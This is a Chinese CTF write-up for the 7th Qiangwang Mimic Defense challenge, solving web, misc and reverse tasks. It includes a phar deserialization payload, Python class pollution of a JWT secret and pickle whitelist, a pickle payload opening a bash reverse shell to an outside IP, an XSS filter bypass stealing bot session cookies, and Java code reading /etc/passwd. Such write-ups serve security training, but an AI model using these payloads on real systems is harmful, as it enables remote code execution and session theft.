第七届“强网”拟态防御国际精英挑战赛 题解WriteUp
Jay17 发表于 浙江 CTF 536浏览 · 2024-10-20 04:59

capoo

题目描述:I ♥️ Capoo

开题一个按钮

点击显示一张图片,抓包发现似乎是通过路径调用文件,大概率存在目录穿越漏洞。

果真存在

直接读取flag显示文件不存在。

猜猜是flag文件改名了。尝试读取docker文件与start.sh

start.sh暴露了flag的位置

直接读取/flag-33ac806f,得到flag。

这个是非预期,读取一下源代码看看预期怎么做:

capoo=showpic.php

源码如下:

<?php
class CapooObj {
    public function __wakeup()
    {
    $action = $this->action;
    $action = str_replace("\"", "", $action);
    $action = str_replace("\'", "", $action);
    $banlist = "/(flag|php|base|cat|more|less|head|tac|nl|od|vi|sort|uniq|file|echo|xxd|print|curl|nc|dd|zip|tar|lzma|mv|www|\~|\`|\r|\n|\t|\   |\^|ls|\.|tail|watch|wget|\||\;|\:|\(|\)|\{|\}|\*|\?|\[|\]|\@|\\|\=|\<)/i";
    if(preg_match($banlist, $action)){
        die("Not Allowed!");
    }
        system($this->action);
    }
}
header("Content-type:text/html;charset=utf-8");
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['capoo'])) {
    $file = $_POST['capoo'];

    if (file_exists($file)) {
        $data = file_get_contents($file);
        $base64 = base64_encode($data);
    } else if (substr($file, 0, strlen("http://")) === "http://") {
        $data = file_get_contents($_POST['capoo'] . "/capoo.gif");
        if (strpos($data, "PILER") !== false) {
            die("Capoo piler not allowed!");
        }
        file_put_contents("capoo_img/capoo.gif", $data);
        die("Download Capoo OK");
    } else {
        die('Capoo does not exist.');
    }
} else {
    die('No capoo provided.');
}
?>
<!DOCTYPE html>
<html>
  <head>
    <title>Display Capoo</title>
  </head>
  <body>
    <img style='display:block; width:100px;height:100px;' id='base64image'
       src='data:image/gif;base64, <?php echo $base64;?>' />
  </body>
</html>

有文件包含和文件上传(file_put_contents),又有恶意类,phar反序列化基本上没得跑了。

生成phar:

<?php
class CapooObj {
    public function __wakeup()
    {
        $action = $this->action;
        $action = str_replace("\"", "", $action);
        $action = str_replace("\'", "", $action);
        $banlist = "/(flag|php|base|cat|more|less|head|tac|nl|od|vi|sort|uniq|file|echo|xxd|print|curl|nc|dd|zip|tar|lzma|mv|www|\~|\`|\r|\n|\t|\   |\^|ls|\.|tail|watch|wget|\||\;|\:|\(|\)|\{|\}|\*|\?|\[|\]|\@|\\|\=|\<)/i";
        if(preg_match($banlist, $action)){
            die("Not Allowed!");
        }
        system($this->action);
    }
}



$Jay17=new CapooObj();
$Jay17->action='env';


//删除原来的phar包,防止重复
//@unlink("xxx.phar");
//后缀名必须为phar
$phar = new Phar("1.phar");
$phar->startBuffering();
//设置stub
$phar->setStub("<?php __HALT_COMPILER(); ?>");

//将自定义的meta-data存入manifest
$phar->setMetadata($Jay17);
//添加要压缩的文件,这个文件没有也没关系,走个流程
$phar->addFromString("test.txt", "test");
//签名自动计算
$phar->stopBuffering();
echo "done.";

然后上传服务器

if (strpos($data, "PILER") !== false)这个限制参考下文:

php(phar)反序列化漏洞及各种绕过姿势_throw new 绕过php-CSDN博客

gzip压缩:gzip 1.phar

改名为capoo.gif。python起web服务使得外网可以访问。

capoo=http://124.71.147.99:9023

之后就是phar伪协议进行利用了。

这里拿env命令进行演

capoo=phar://capoo_img/capoo.gif

ez_picker

题目描述:很简单的啦

开题直接就是源码:

from sanic import Sanic
from sanic.response import json, file as file_, text, redirect
from sanic_cors import CORS
from key import secret_key
import os
import pickle
import time
import jwt
import io
import builtins

app = Sanic("App")
pickle_file = "data.pkl"
my_object = {}
users = []

safe_modules = {
    'math',
    'datetime',
    'json',
    'collections',
}

safe_names = {
    'sqrt', 'pow', 'sin', 'cos', 'tan',
    'date', 'datetime', 'timedelta', 'timezone',
    'loads', 'dumps',
    'namedtuple', 'deque', 'Counter', 'defaultdict'
}


class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module in safe_modules and name in safe_names:
            return getattr(builtins, name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()


CORS(app, supports_credentials=True, origins=["http://localhost:8000", "http://127.0.0.1:8000"])


class User:
    def __init__(self, username, password):
        self.username = username
        self.password = password


def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)


def token_required(func):
    async def wrapper(request, *args, **kwargs):
        token = request.cookies.get("token")
        if not token:
            return redirect('/login')
        try:
            result = jwt.decode(token, str(secret_key), algorithms=['HS256'], options={"verify_signature": True})
        except jwt.ExpiredSignatureError:
            return json({"status": "fail", "message": "Token expired"}, status=401)
        except jwt.InvalidTokenError:
            return json({"status": "fail", "message": "Invalid token"}, status=401)
        print(result)
        if result["role"] != "admin":
            return json({"status": "fail", "message": "Permission Denied"}, status=401)
        return await func(request, *args, **kwargs)

    return wrapper


@app.route('/', methods=["GET"])
def file_reader(request):
    file = "app.py"
    with open(file, 'r') as f:
        content = f.read()
    return text(content)


@app.route('/upload', methods=["GET", "POST"])
@token_required
async def upload(request):
    if request.method == "GET":
        return await file_('templates/upload.html')
    if not request.files:
        return text("No file provided", status=400)

    file = request.files.get('file')
    file_object = file[0] if isinstance(file, list) else file
    try:
        new_data = restricted_loads(file_object.body)
        try:
            my_object.update(new_data)
        except:
            return json({"status": "success", "message": "Pickle object loaded but not updated"})
        with open(pickle_file, "wb") as f:
            pickle.dump(my_object, f)

        return json({"status": "success", "message": "Pickle object updated"})
    except pickle.UnpicklingError:
        return text("Dangerous pickle file", status=400)


@app.route('/register', methods=['GET', 'POST'])
async def register(request):
    if request.method == 'GET':
        return await file_('templates/register.html')
    if request.json:
        NewUser = User("username", "password")
        merge(request.json, NewUser)
        users.append(NewUser)
    else:
        return json({"status": "fail", "message": "Invalid request"}, status=400)
    return json({"status": "success", "message": "Register Success!", "redirect": "/login"})


@app.route('/login', methods=['GET', 'POST'])
async def login(request):
    if request.method == 'GET':
        return await file_('templates/login.html')
    if request.json:
        username = request.json.get("username")
        password = request.json.get("password")
        if not username or not password:
            return json({"status": "fail", "message": "Username or password missing"}, status=400)
        user = next((u for u in users if u.username == username), None)
        if user:
            if user.password == password:
                data = {"user": username, "role": "guest"}
                data['exp'] = int(time.time()) + 60 * 5
                token = jwt.encode(data, str(secret_key), algorithm='HS256')
                response = json({"status": "success", "redirect": "/upload"})
                response.cookies["token"] = token
                response.headers['Access-Control-Allow-Origin'] = request.headers.get('origin')
                return response
            else:
                return json({"status": "fail", "message": "Invalid password"}, status=400)
        else:
            return json({"status": "fail", "message": "User not found"}, status=404)
    return json({"status": "fail", "message": "Invalid request"}, status=400)


if __name__ == '__main__':
    app.run(host="0.0.0.0", port=8000)

简单看下源码,成分复杂。JWT、原型链污染、反序列化

首先看源码理一理思路。

一、原型链污染改掉secret_key

二、伪造JWT

三、原型链污染改掉safe_namessafe_modules

四、pickle反序列化造成RCE

污染点非常的明显:

merge(request.json, NewUser)

首先污染secret_key。由于from key import secret_key,所以secret_key是个全局变量

{
    "__init__" : {
        "__globals__" : {
            "secret_key" :"1717"
        }
    }
}

污染成功,JWT校验通过。

修改role为admin

权限足够,可以上传文件了

ok,接下来思考如何污染secret_keysafe_modules。污染完再pickle,要不然有些模块用不了,文件传不上去。

需要注意的是,secret_keysafe_modules都是数组,json中使用[]传数组。

{
    "__init__": {
        "__globals__": {
            "safe_modules": [
                "math",
                "datetime",
                "json",
                "collections",
                "os",
                "eval",
                "builtins"
            ],
            "safe_names": [
                "sqrt", "exec", "system", "pow", "sin", "cos", "tan",
                "date", "datetime", "timedelta", "timezone",
                "loads", "dumps", "namedtuple", "deque", "Counter", "defaultdict","system","eval"
            ]
        }
    }
}

然后生成一下pkl文件:

import pickle
import os

class A(object):
    def __reduce__(self):
        return (eval, ("__import__('os').popen('bash -c \"bash -i >& /dev/tcp/124.71.147.99/1717 0>&1\"').read()",))

obj = A()

with open("1.pkl", "wb") as f:
    pickle.dump(obj, f)

上传完成,服务器接收到shell。

Spreader

题目描述:有人心血来潮做了一个简易的留言板,并做好了充分的防护措施。然而,留下的不只有言论,还有...

题目给了源码,看见bot.js就知道又是XSS。开叉

index.js

const fs = require('fs');
const express = require('express');
const router = express.Router();
const { triggerXSS } = require('../bot');
const { Store } = require('express-session');
function isAuthenticated(req, res, next) {
    if (req.session.user) {
        next();
    } else {
        res.redirect('/login');
    }
}
module.exports = (users,posts,store,AdminPassWord,PrivilegedPassWord) => {

    const ROLES = {
        PLAIN: "plain",
        PRIVILEGED: "privileged",
        ADMIN: "admin",
    };

    router.get('/register', (req, res) => {
        res.sendFile('register.html', { root: './views' });
    });

    router.post('/register', (req, res) => {
        const { username, password, role } = req.body;
        const userExists = users.some(u => u.username === username);
        if (userExists) {
            return res.send('Username already exists!');
        }
        users.push({ username, password, role: "plain" });
        res.redirect('/login');
    });
    router.get('/login', (req, res) => {
        res.sendFile('login.html', { root: './views' });
    });

    router.post('/login', (req, res) => {
        const { username, password } = req.body;
        console.log(username);
        console.log(password);
        const user = users.find(u => u.username === username && u.password === password);
        if (user) {
            req.session.user = user;
            res.redirect('/');
        } else {
            res.send('Invalid credentials!');
        }
    });
    router.get('/', isAuthenticated, (req, res) => {
        const currentUser = req.session.user;
        let filteredPosts = [];
        if (currentUser.role === ROLES.ADMIN) {
            filteredPosts = posts.filter(p => p.role === ROLES.PRIVILEGED || p.role === ROLES.ADMIN);
        } else if (currentUser.role === ROLES.PRIVILEGED) {
            filteredPosts = posts.filter(p => p.role === ROLES.PLAIN || p.role === ROLES.PRIVILEGED);
        } else {
            filteredPosts = posts.filter(p => p.role === ROLES.PLAIN);
        }
        res.render(`${currentUser.role}`, { posts: filteredPosts, user: currentUser });
    });
    router.post('/post', isAuthenticated, (req, res) => {
        let { content } = req.body;

        const scriptTagRegex = /<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi;
        content = content.replace(scriptTagRegex, '[XSS attempt blocked]');

        const eventHandlerRegex = /on\w+\s*=\s*(["']).*?\1/gi;
        content = content.replace(eventHandlerRegex, '[XSS attempt blocked]');

        const javascriptURLRegex = /(?:href|src)\s*=\s*(["'])\s*javascript:.*?\1/gi;
        content = content.replace(javascriptURLRegex, '[XSS attempt blocked]');

        const dataURLRegex = /(?:href|src)\s*=\s*(["'])\s*data:.*?\1/gi;
        content = content.replace(dataURLRegex, '[XSS attempt blocked]');

        const cssExpressionRegex = /style\s*=\s*(["']).*?expression\([^>]*?\).*?\1/gi;
        content = content.replace(cssExpressionRegex, '[XSS attempt blocked]');

        const dangerousTagsRegex = /<\/?(?:iframe|object|embed|link|meta|svg|base|source|form|input|video|audio|textarea|button|frame|frameset|applet)[^>]*?>/gi;
        content = content.replace(dangerousTagsRegex, '[XSS attempt blocked]');

        const dangerousAttributesRegex = /\b(?:style|srcset|formaction|xlink:href|contenteditable|xmlns)\s*=\s*(["']).*?\1/gi;
        content = content.replace(dangerousAttributesRegex, '[XSS attempt blocked]');

        const dangerousProtocolsRegex = /(?:href|src)\s*=\s*(["'])(?:\s*javascript:|vbscript:|file:|data:|filesystem:).*?\1/gi;
        content = content.replace(dangerousProtocolsRegex, '[XSS attempt blocked]');

        const dangerousFunctionsRegex = /\b(?:eval|alert|prompt|confirm|console\.log|Function)\s*\(/gi;
        content = content.replace(dangerousFunctionsRegex, '[XSS attempt blocked]');

        posts.push({ content: content, username: req.session.user.username, role: req.session.user.role });
        res.redirect('/');
    });


    router.get('/logout', (req, res) => {
        req.session.destroy();
        res.redirect('/login');
    });
    router.get('/report_admin', async (req, res) => {
        try {
            await triggerXSS("admin",AdminPassWord);
            res.send(`Admin Bot successfully logged in.`);
        } catch (error) {
            console.error('Error Reporting:', error);
            res.send(`Admin Bot successfully logged in.`);
        }
    });
    router.get('/report_privileged', async (req, res) => {
        try {
            await triggerXSS("privileged",PrivilegedPassWord);
            res.send(`Privileged Bot successfully logged in.`);
        } catch (error) {
            console.error('Error Reporting:', error);
            res.send(`Privileged Bot successfully logged in.`);
        }
    });
    router.get('/store', async (req, res) => {
        return res.status(200).json(store);
    });
    router.post('/store', async (req, res) => {
        if (req.body) {
            store.push(req.body);
            return res.status(200).send('Data stored successfully');
        } else {
            return res.status(400).send('No data received');
        }
    });
    router.get('/flag', async (req, res) => {
        try {
            if (req.session.user && req.session.user.role === "admin") {
                fs.readFile('/flag', 'utf8', (err, data) => {
                    if (err) {
                        console.error('Error reading flag file:', err);
                        return res.status(500).send('Internal Server Error');
                    }
                    res.send(`Your Flag Here: ${data}`);
                });
            } else {
                res.status(403).send('Unauthorized!');
            }
        } catch (error) {
            console.error('Error fetching flag:', error);
            res.status(500).send('Internal Server Error');
        }
    });
    return router;
};

app.js

const express = require('express');
const session = require('express-session');
const stringRandom = require('string-random');
const bodyParser = require('body-parser');
const app = express();
const port = 3000;
const AdminPassWord=stringRandom(16, { numbers: true })
const PrivilegedPassWord=stringRandom(16, { numbers: true })
const PlainPassWord=stringRandom(16, { numbers: true })
const secret_key=stringRandom(16, { numbers: true })
const users = [];
const posts = [];
const store = [];
users.push({ username:"admin", password:AdminPassWord, role: "admin" });
users.push({ username:"privileged", password:PrivilegedPassWord, role: "privileged" });
users.push({ username:"plain", password:PlainPassWord, role: "plain" });
console.log(users)
app.use(express.static('views'));
app.set('view engine', 'ejs');
app.use(bodyParser.urlencoded({ extended: true }));
app.use(session({
    secret: secret_key,
    resave: false,
    saveUninitialized: true,
    cookie: {
        httpOnly: false,
        secure: false,
    }
}));


app.use('/', require('./routes/index')(users,posts,store,AdminPassWord,PrivilegedPassWord));

app.listen(port, () => {
    console.log(`App is running on http://localhost:${port}`);
});

bot.js

const puppeteer = require('puppeteer');

async function triggerXSS(UserName, PassWord) {
    const browser = await puppeteer.launch({
        args: ['--no-sandbox', '--disable-setuid-sandbox'],
        executablePath: '/usr/bin/chromium',
        headless: true
    });

    const page = await browser.newPage();

    await page.goto('http://localhost:3000/login');

    await page.type('input[name="username"]', UserName);
    await page.type('input[name="password"]', PassWord);

    await page.click('button[type="submit"]');

    await page.goto('http://localhost:3000/');

    await browser.close();

    return;
}

module.exports = { triggerXSS };

简单扫一眼代码。题目一共分为三种用户。plain(普通用户)、privileged(特权用户)、admin(管理员)

role为admin(管理员)时候,可以访问/flag路由获取flag。

初始状态下三种用户各自有一个

OK之后就这界面理解源码。

开题能看见一个登录注册功能

注册时候虽然传参包含了职权role,但是push进去的始终是plain职权。

之后会有一个留言板,这里应该是XSS攻击点,源码中加满了WAF

//<script>alert('XSS');</script>
const scriptTagRegex = /<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi;
content = content.replace(scriptTagRegex, '[XSS attempt blocked]');

//<button onclick="alert('XSS')">Click me</button>
const eventHandlerRegex = /on\w+\s*=\s*(["']).*?\1/gi;
content = content.replace(eventHandlerRegex, '[XSS attempt blocked]');

//<a href="javascript:alert('XSS')">Click here</a>
const javascriptURLRegex = /(?:href|src)\s*=\s*(["'])\s*javascript:.*?\1/gi;
content = content.replace(javascriptURLRegex, '[XSS attempt blocked]');

//<img src="data:image/png;base64,..." />
const dataURLRegex = /(?:href|src)\s*=\s*(["'])\s*data:.*?\1/gi;
content = content.replace(dataURLRegex, '[XSS attempt blocked]');

//<div style="width: expression(alert('XSS'));"></div>
const cssExpressionRegex = /style\s*=\s*(["']).*?expression\([^>]*?\).*?\1/gi;
content = content.replace(cssExpressionRegex, '[XSS attempt blocked]');

//<iframe src="https://example.com"></iframe>
const dangerousTagsRegex = /<\/?(?:iframe|object|embed|link|meta|svg|base|source|form|input|video|audio|textarea|button|frame|frameset|applet)[^>]*?>/gi;
content = content.replace(dangerousTagsRegex, '[XSS attempt blocked]');

//<div style="background: red;" contenteditable="true">Editable content</div>
const dangerousAttributesRegex = /\b(?:style|srcset|formaction|xlink:href|contenteditable|xmlns)\s*=\s*(["']).*?\1/gi;
content = content.replace(dangerousAttributesRegex, '[XSS attempt blocked]');

//<a href="javascript:alert('XSS')">Click here</a>
const dangerousProtocolsRegex = /(?:href|src)\s*=\s*(["'])(?:\s*javascript:|vbscript:|file:|data:|filesystem:).*?\1/gi;
content = content.replace(dangerousProtocolsRegex, '[XSS attempt blocked]');

//eval("alert('XSS')");
const dangerousFunctionsRegex = /\b(?:eval|alert|prompt|confirm|console\.log|Function)\s*\(/gi;
content = content.replace(dangerousFunctionsRegex, '[XSS attempt blocked]');

此外还有一些路由。

定义 /logout 路由,销毁当前会话并重定向到登录页面。

定义 /report_admin 路由,模拟管理员登录。

定义 /report_privileged 路由,模拟特权用户登录,类似于上面的 /report_admin

定义 /store 的 POST 请求,用于将请求体中的数据存储到 store 数组中。


此外,源码中暴露出的机制至关重要

admin可以看见admin和privileged的留言

privileged可以看见privileged和plain的留言

plain只能看见plain的留言

OK那思路很清晰了。用privileged用户作为桥梁,先拿privileged的COOKIE,再拿admin的COOKIE。

简单讲下流程:

1、注册登录一个plain账号

2、plain账号留言一条恶意XSS语句。

3、访问/report_privileged,privileged用户登录后,XSS语句诱导privileged访问/store,存下privileged的COOKIE。

4、访问/store拿到privileged的COOKIE获得privileged身份。

5、privileged账号留言一条恶意XSS语句。

6、访问/report_admin,admin用户登录后,XSS语句诱导admin访问/store,存下admin的COOKIE。

7、访问/store拿到admin的COOKIE获得admin身份。

8、admin访问/flag路由直接取得flag。


唯一需要考虑的是XSS语句怎么过WAF。

测试语句:

<script>alert('XSS')</script>

结尾换行就行

<script>alert('XSS')</script
>


OK,会过WAF后走一遍流程:

1、注册登录一个plain账号

2、plain账号留言一条恶意XSS语句。(这里写错了,应该是privileged_cookie)

<script>fetch('/store',{method:'POST',body:'admin_cookie='+encodeURIComponent(document.cookie),headers:{'Content-Type':'application/x-www-form-urlencoded'}})</script
>

3、访问/report_privileged,privileged用户登录后,XSS语句诱导privileged访问/store,存下privileged的COOKIE。

4、访问/store拿到privileged的COOKIE获得privileged身份。

s%3AjLa-TwibqKOOTU_3uL2wpYdzbXgN3zI2.oe6kJWADC8GsEMBz7t7UGPXST5ZAgfuGf5BPFBeu6lQ

5、privileged账号留言一条恶意XSS语句。

<script>fetch('/store',{method:'POST',body:'admin_cookie='+encodeURIComponent(document.cookie),headers:{'Content-Type':'application/x-www-form-urlencoded'}})</script
>

6、访问/report_admin,admin用户登录后,XSS语句诱导admin访问/store,存下admin的COOKIE。

7、访问/store拿到admin的COOKIE获得admin身份。

s%3A6Hu6wXqFx5deyk4vyL0Z90SXAFHH8Jvp.o7klG0NS%2FFqNuDut%2Brk33tJ%2BCzDf7u0MIhUlPrJ4MDY

8、admin访问/flag路由直接取得flag。

OnlineRunner*

题目描述:我们提供了一个简单的在线java代码运行:>

我叫蒋十七,我以为不学java不会影响我打CTF,要不是遇到OnlineRunner我差点就信了。

读取文件:

try {
    java.io.File file = new java.io.File("/etc/passwd");
    java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.FileReader(file));
    StringBuilder content = new StringBuilder();
    String line;

    while ((line = reader.readLine()) != null) {
        content.append(line).append(System.lineSeparator());
    }

    reader.close();
    System.out.println(content.toString());
} catch (java.io.IOException e) {
    e.printStackTrace();
}

读取根目录文件列表:

java.io.File parentDir = new java.io.File("..");
String[] fileList = parentDir.list();

if (fileList != null) {
    for (String file : fileList) {
        System.out.println(file);
    }
} else {
    System.out.println("Failed to retrieve file list");
}

有readflag,同时flag文件没有权限读取。还是得RCE

https://pankas.top/2023/12/05/jdk17-%E5%8F%8D%E5%B0%84%E9%99%90%E5%88%B6%E7%BB%95%E8%BF%87/

https://github.com/turn1tup/JvmRaspBypass

https://dummykitty.github.io/java/2023/06/15/Java-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%BB%95%E8%BF%87-RASP.html#%E7%AC%AC%E5%9B%9B%E6%AD%A5%E7%BC%96%E8%AF%91%E6%88%90-dll-%E6%88%96%E8%80%85-lib

就到这里了,乏了。

PvZ

题目描述:来一场酣畅淋漓的大战吧

下载下来是一个植物大战僵尸的杂交版图片,需要计算阳光,观察关卡为幸运的一天,实际游玩发现进入关卡后应该每一张卡片都从无冷却开始,且一定需要使用一次50阳光的四叶草,所以:

阳光为50+100+150+88+225+?+?,还有一个仙人南瓜和一个地刺不知道从哪里来,直接开始尝试,因为上面结果为613,查询价格后发现植物和图片阳光有50和25的差距:

由于冷却时间不可能及时重置,所以判断仙人南瓜应该是0元抽出来的,而地刺的价格为150,如果减少五十,则为

50+100+150+88+225+0+100=713

若是减少二十五则为

50+100+150+88+225+0+125=738

网站一个一个加密试一试:

217eedd1ba8c592db97d0dbe54c7adfc

得到答案。

得到两个图片,第二个图片ps操作拉直一下可以直接用微信扫出:

D'`_q^K![YG{VDTveRc10qpnJ+*)G!~f1{d@-}v<)9xqYonsrqj0hPlkdcb(`Hd]#a`_A@VzZY;Qu8NMqKPONGkK-,BGF?cCBA@">76Z:321U54-21*Non,+*#G'&%$d"y?w_uzsr8vunVrk1ongOe+ihgfeG]#[ZY^W\UZSwWVUNrRQ3IHGLEiCBAFE>=aA:9>765:981Uvu-2+O/.nm+$Hi'~}|B"!~}|u]s9qYonsrqj0hmlkjc)gIedcb[!YX]\UZSwWVUN6LpP2HMFEDhHG@dDCBA:^!~<;:921U/u3,+*Non&%*)('&}C{cy?}|{zs[q7unVl2ponmleMib(fHG]b[Z~k

查询一下图片名字得知为M41b0lg3一种编程语言,在线运行得到答案:

flag{5108a32f-1c7f-4a40-a4fa-fd8982e6eb49}

Streaming

题目描述:一个misc流量分析

发现流量中有RTC流量包,猜测下面的UDP数据应该解析为RTP包,右键流量decode as选择UDP的RTP,并在首选项中修改H.264对应的长度96,使用插件导出xxx.264文件

随便追踪一流UDP,发现网址http://www.videolan.org/x264.html,猜测使用该工具可解释提取的数据包,转码后在视频中发现flag1和FF字符

提示flag不止是flag,猜测是某种加密算法的密钥,??文件是乱码,猜测使用某种算法可以解??文件,直接解报错,根据视频里FF猜测要先和ff异或处理,脚本如下

from Crypto.Cipher import AES
import os

# 文件名
input_file = '1'  # 替换为你的文件名
output_file = 'output.txt'
key = b"'flag{3b3a9c08-'"  # 包含单引号的AES密钥(必须为16字节)

# 1. 将每个字节与0xff进行异或
with open(input_file, 'rb') as f:
    data = bytearray(f.read())

xor_data = bytearray(b ^ 0xff for b in data)

# 2. 使用AES ECB模式解密
cipher = AES.new(key, AES.MODE_ECB)
# AES解密需要数据长度为16的倍数,进行填充
while len(xor_data) % 16 != 0:
    xor_data.append(0)  # 使用零填充

decrypted_data = cipher.decrypt(xor_data)

# 3. 将解密后的数据存为1.txt
with open(output_file, 'wb') as f:
    f.write(decrypted_data)

print("操作完成,解密结果已保存到1.txt")

得到zip包,一个png一个视频文件,s4cret开头补全3个00,播放后发现一直闪,脚本分帧,猜测是二进制,黑色转1白色转0,得到flag3,脚本如下:

import cv2
import os
import numpy as np

# 输入和输出文件名
input_file = 's4cret.mp4'  # 替换为你的MP4文件名
output_folder = 'frames'
output_sequence_file = 'output_sequence.txt'

# 创建输出文件夹
if not os.path.exists(output_folder):
    os.makedirs(output_folder)

# 打开视频文件
cap = cv2.VideoCapture(input_file)

frame_count = 0
output_sequence = []

while True:
    ret, frame = cap.read()
    if not ret:
        break

    # 保存每一帧
    frame_filename = os.path.join(output_folder, f'frame_{frame_count:04d}.jpg')
    cv2.imwrite(frame_filename, frame)

    # 检查每一帧的像素
    if np.all(frame == 0):  # 全黑
        output_sequence.append(1)
    elif np.all(frame == 255):  # 全白
        output_sequence.append(0)
    else:
        output_sequence.append(-1)  # 其他情况(可选)

    frame_count += 1

# 释放视频对象
cap.release()

# 输出序列到文件
with open(output_sequence_file, 'w') as f:
    f.write(''.join(map(str, output_sequence)))

print(f"拆分完成,共提取了{frame_count}帧,序列已保存到{output_sequence_file}。")

使用工具macos_shadow_tank,拆分badapple.png,得到flag2

babyre

题目描述:true or false

初步分析,配合调试得知加密过程为AES-EBC-128加密后对密文进行转二进制,随后进行验证

定义二维数组爆破二进制数据

已知前八位是密文

转16进制后解密并验证

4D87EF03-77BB-491A-80F5-4620245807C4

转小写得到flag

flag{4d87ef03-77bb-491a-80f5-4620245807c4}
0 条评论
某人
表情
可输入 255
目录